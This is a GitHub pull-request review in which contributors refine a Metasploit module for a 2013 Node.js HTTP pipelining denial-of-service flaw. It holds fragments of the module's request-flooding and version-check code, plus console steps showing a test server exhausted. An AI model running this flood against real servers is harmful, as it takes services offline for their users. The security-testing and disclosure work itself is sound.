Add exploit for Node.js HTTP Pipelining DoS #2548

Merged
merged 1 commit into from Oct 22, 2013

5 participants

@titanous

I was bored, so this is my first (ridiculously trivial) Metasploit module. Please be gentle.

@jvennix-r7 jvennix-r7 and 1 other commented on an outdated diff Oct 19, 2013
modules/auxiliary/dos/http/node_pipelining.rb
+
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::Tcp
+ include Msf::Auxiliary::Dos
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Node HTTP Pipelining DoS',
+ 'Description' => %q{
+ This module exploits a DoS in Node versions less than 0.10.21.
+ The vulnerability is caused by a lack of backpressure on pipelined
+ requests, causing unbounded memory allocation for each request.
+ },
+ 'Author' => [ 'titanous' ],

can you add 'Marek Majkowski', the discoverer here?

Done.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@FiloSottile

A good improvement would be detecting the backpressure, and reporting that the target is not affected.

@jvennix-r7

Yikes. successfully verified with the steps:

$ node -e "require('http').createServer(function(req, res){res.end();}).listen(9090);"
msf> use auxiliary/dos/http/node_pipelining
msf> set RHOST 127.0.0.1
msf> set RPORT 9090
msf> set RLIMIT 10000000   # depends on your machine
msf> run
...
[*] DoS successful. 192.168.0.4:9090 not responding.

Yep memory soars and cpu locks at 100%, pretty bad.

Testing with: https:

$ openssl genrsa -out server-key.pem 1024
$ openssl req -new -key server-key.pem -out server-csr.pem
$ openssl x509 -req -in server-csr.pem -signkey server-key.pem -out server-cert.pem
$ node -e "fs=require('fs'); require('https').createServer({key: fs.readFileSync('./server-key.pem'), cert: fs.readFileSync('./server-cert.pem')}, function(req, res){res.end();}).listen(9090);"
msf> set SSL true
msf> run
...
[*] DoS successful. 192.168.0.4:9090 not responding.
@jvennix-r7

@FiloSottile so send a test request while the pipelined req is being sent? Sounds like a good idea to me, a #check method would be nice too

@FiloSottile FiloSottile and 1 other commented on an outdated diff Oct 19, 2013
modules/auxiliary/dos/http/node_pipelining.rb
+ include Msf::Exploit::Remote::Tcp
+ include Msf::Auxiliary::Dos
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Node HTTP Pipelining DoS',
+ 'Description' => %q{
+ This module exploits a DoS in Node versions less than 0.10.21.
+ The vulnerability is caused by a lack of backpressure on pipelined
+ requests, causing unbounded memory allocation for each request.
+ },
+ 'Author' => [ 'titanous' ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'URL', 'http://blog.nodejs.org/2013/10/18/node-v0-10-21-stable/' ],

Here I would suggest putting the issue URL

nodejs/node-v0.x-archive#6214

Done.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@FiloSottile

Umh, yeah, something like that. Or what do we see from the client side when they apply backpressure?

I have to look at that fix commit.

@titanous

The backpressure is applied by pausing reads from the client socket after reaching a high-water mark for the stream buffer. This causes TCP flow control to kick in, which will slow down the client sending. I can't think of a good way to detect this reliably, but suggestions are welcome.

@jlee-r7 jlee-r7 and 1 other commented on an outdated diff Oct 19, 2013
modules/auxiliary/dos/http/node_pipelining.rb
+ 0.8.26. The vulnerability is caused by a lack of backpressure on
+ pipelined requests, causing unbounded memory allocation for each
+ request.
+ },
+ 'Author' => [ 'titanous', 'Marek Majkowski' ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'URL', 'https://github.com/joyent/node/issues/6214' ],
+ ],
+ 'DisclosureDate' => 'Oct 18 2013'))
+
+ register_options(
+ [
+ Opt::RPORT(80),
+ OptBool.new('SSL', [true, 'Use SSL', false]),
@jlee-r7
jlee-r7 added a note Oct 19, 2013

SSL should already be registered by Exploit::Remote::TCP

Indeed. Updated.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jvennix-r7

Taking a look at fingerprinting this.

@jvennix-r7

Here's a check for < 0.10.17, which will at least give you some idea of what you're hitting:

def check
  # http://blog.nodejs.org/2013/08/21/node-v0-10-17-stable/
  # check if we are < 10.17 by seeing if a malformed HTTP request is accepted
  status = Exploit::CheckCode::Unknown
  connect
  sock.put(http_request("GEM"))
  begin
    response = sock.get_once
    status = Exploit::CheckCode::Vulnerable if response =~ /HTTP/
  rescue EOFError
    status = Exploit::CheckCode::Unknown
  ensure
    disconnect
  end
  status
end

I moved the HTTP request creation to a helper so it could be used it in exploit and check

# returns a small HTTP request header that is sent many times to the server
# over one "pipelined" connection.
def http_request(method='GET')
  host = datastore['RHOST']
  host += ":" + datastore['RPORT'].to_s if datastore['RPORT'] != 80
  "#{method} / HTTP/1.1\r\nHost: #{host}\r\n\r\n"
end
@jvennix-r7

Any testing/checking you could do as well would be much appreciated :)

@titanous

@jvennix-r7 Thanks, I've added the check and confirmed that it works.

@OJ
OJ commented Oct 20, 2013

@titanous +1 for a great first contribution :)

@jvazquez-r7

Processing!

@jvazquez-r7 jvazquez-r7 and 1 other commented on an outdated diff Oct 22, 2013
modules/auxiliary/dos/http/nodejs_pipelining.rb
+ # check if we are < 0.10.17 by seeing if a malformed HTTP request is accepted
+ status = Exploit::CheckCode::Unknown
+ connect
+ sock.put(http_request("GEM"))
+ begin
+ response = sock.get_once
+ status = Exploit::CheckCode::Vulnerable if response =~ /HTTP/
+ rescue EOFError
+ ensure
+ disconnect
+ end
+ status
+ end
+
+ def http_request(method='GET')
+ host = datastore['RHOST']

Add a new method

def host
    host = datastore['RHOST']
    host += ":" + datastore['RPORT'].to_s if datastore['RPORT'] != 80
    return host
end

So host can be referenced later from the run method too

Fixed.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jvazquez-r7 jvazquez-r7 commented on the diff Oct 22, 2013
modules/auxiliary/dos/http/nodejs_pipelining.rb
+ status
+ end
+
+ def http_request(method='GET')
+ host = datastore['RHOST']
+ host += ":" + datastore['RPORT'].to_s if datastore['RPORT'] != 80
+ "#{method} / HTTP/1.1\r\nHost: #{host}\r\n\r\n"
+ end
+
+ def run
+ payload = http_request
+ begin
+ connect
+ datastore['RLIMIT'].times { sock.put(payload) }
+ rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+ print_status("Unable to connect to #{host}.")

host isn't defined on the run method anymore (see above)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jvazquez-r7 jvazquez-r7 commented on the diff Oct 22, 2013
modules/auxiliary/dos/http/nodejs_pipelining.rb
+
+ def http_request(method='GET')
+ host = datastore['RHOST']
+ host += ":" + datastore['RPORT'].to_s if datastore['RPORT'] != 80
+ "#{method} / HTTP/1.1\r\nHost: #{host}\r\n\r\n"
+ end
+
+ def run
+ payload = http_request
+ begin
+ connect
+ datastore['RLIMIT'].times { sock.put(payload) }
+ rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+ print_status("Unable to connect to #{host}.")
+ rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error
+ print_status("DoS successful. #{host} not responding.")

host isn't defined on the run method anymore (see above)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jvazquez-r7 jvazquez-r7 and 1 other commented on an outdated diff Oct 22, 2013
modules/auxiliary/dos/http/nodejs_pipelining.rb
+ Opt::RPORT(80),
+ OptInt.new('RLIMIT', [true, "Number of requests to send", 1000])
+ ],
+ self.class)
+ end
+
+ def check
+ # http://blog.nodejs.org/2013/08/21/node-v0-10-17-stable/
+ # check if we are < 0.10.17 by seeing if a malformed HTTP request is accepted
+ status = Exploit::CheckCode::Unknown
+ connect
+ sock.put(http_request("GEM"))
+ begin
+ response = sock.get_once
+ status = Exploit::CheckCode::Vulnerable if response =~ /HTTP/
+ rescue EOFError

Please add a comment to justify the empty exception handling, something like:

      rescue EOFError
      # checking against nodejs >= 0.10.17 raises EOFError because there
      # isn't response against GEM requests

should be good enough I think :)

Fixed.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@jvazquez-r7

@titanous do you mind to share a description of your testing target and the RLIMIT you've used to trigger it.... I guess I'm sucking at node.js... but basically I'm running this (weird) sample http server with a vulnerable node.js installation:

var http = require('http');
http.createServer(function (req, res) {
  res.writeHead(200, {'Content-Type': 'text/plain'});
  res.end('Hello World\n');
}).listen(1337, '0.0.0.0');

No luck triggering the overflow condition on the module :?

Guess I'm doing something wrong.... xD guidance is welcome :)

Thanks for awesome contrib!

@jvazquez-r7 jvazquez-r7 and 1 other commented on an outdated diff Oct 22, 2013
modules/auxiliary/dos/http/nodejs_pipelining.rb
+ [
+ Opt::RPORT(80),
+ OptInt.new('RLIMIT', [true, "Number of requests to send", 1000])
+ ],
+ self.class)
+ end
+
+ def check
+ # http://blog.nodejs.org/2013/08/21/node-v0-10-17-stable/
+ # check if we are < 0.10.17 by seeing if a malformed HTTP request is accepted
+ status = Exploit::CheckCode::Unknown
+ connect
+ sock.put(http_request("GEM"))
+ begin
+ response = sock.get_once
+ status = Exploit::CheckCode::Vulnerable if response =~ /HTTP/

Looks like Exploit::CheckCode::Appears fits better here, since as discussed with @jvennix-r7 there are other reasons to get this answer, even on a non vulnerable server. (Example: A web server (no node.js) returning an HTTP "bad method" response)

Fixed.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@titanous

@jvazquez-r7 I bumped the default RLIMIT to 100000.

I ran it against your test script and the memory usage jumped from 5MB to over 125MB and stayed there. A crash would be caused by sending enough requests to trigger an OOM condition (or on OS X fill the hard drive with swap).

@jvazquez-r7

Hi @titanous , thanks for keep working on it! :)

ooo grgr didn't mean overflow condition.... my head....

I mean trigger the DoS condition in the module:

    rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error
      print_status("DoS successful. #{host} not responding.")

When running:

msf auxiliary(nodejs_pipelining) > set RLIMIT 10000000
RLIMIT => 10000000
msf auxiliary(nodejs_pipelining) > run

Even when it's stressing memory:

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND                                                                                                                                           
 2127 juan      20   0  931m 894m 1664 R 95.1 89.3   1:56.58 node                                                        

The DoS condition in the module isn't triggered so I never see the "success" message

@titanous

@jvazquez-r7 Yeah, that message will only show up if the process crashes due to OOM while the module is being run. I couldn't come up with another way of testing, as the DoS is caused by unbounded memory allocation.

@jvazquez-r7

oka, yeah, I'm going just to add some print_status to clarify and landing :) thanks for contributing!

@jvazquez-r7 jvazquez-r7 pushed a commit that referenced this pull request Oct 22, 2013
jvazquez-r7 Land #2548, @titanous's aux module for CVE-2013-4450 6989f16
@jvazquez-r7 jvazquez-r7 merged commit db447b6 into rapid7:master Oct 22, 2013

1 check passed

Details default The Travis CI build passed
@titanous titanous deleted the titanous:node-dos branch Oct 22, 2013
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment